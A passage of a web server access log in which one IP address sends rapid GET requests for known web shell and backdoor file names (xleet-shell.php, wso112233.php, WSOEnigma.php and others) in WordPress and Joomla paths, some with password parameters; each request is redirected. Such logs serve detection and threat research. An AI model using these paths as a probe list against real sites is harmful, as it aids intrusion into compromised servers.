795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:49 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:49 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:50 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:50 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:50 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:50 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:50 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:51 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:51 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:51 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:51 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:34:52 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:52 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:52 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:34:52 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:34:52 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:53 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:53 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:53 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:53 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:53 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:54 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:54 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:54 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:54 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:34:55 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:55 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:55 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:55 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:56 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:56 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:56 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:56 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:34:57 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:57 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:57 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:57 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:58 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:58 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:58 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:58 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:59 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:34:59 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:59 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:59 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:00 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:00 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:35:00 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:35:00 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:01 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:01 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:01 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:02 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:03 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:03 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:04 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:05 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:06 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:06 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:08 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:09 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:09 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:10 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:11 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:12 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:12 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:13 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:35:14 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:14 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:35:15 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:15 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:16 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:16 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:16 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:17 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:17 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:18 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:19 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:19 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:19 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:20 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:20 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:20 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:35:21 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:21 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:21 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:22 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:22 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:23 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:23 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:24 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:35:24 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:24 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:24 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:35:25 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:25 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:25 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:35:26 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:26 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:26 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:26 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:26 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:27 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:35:27 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:27 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:28 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:28 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:28 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:28 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:29 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - 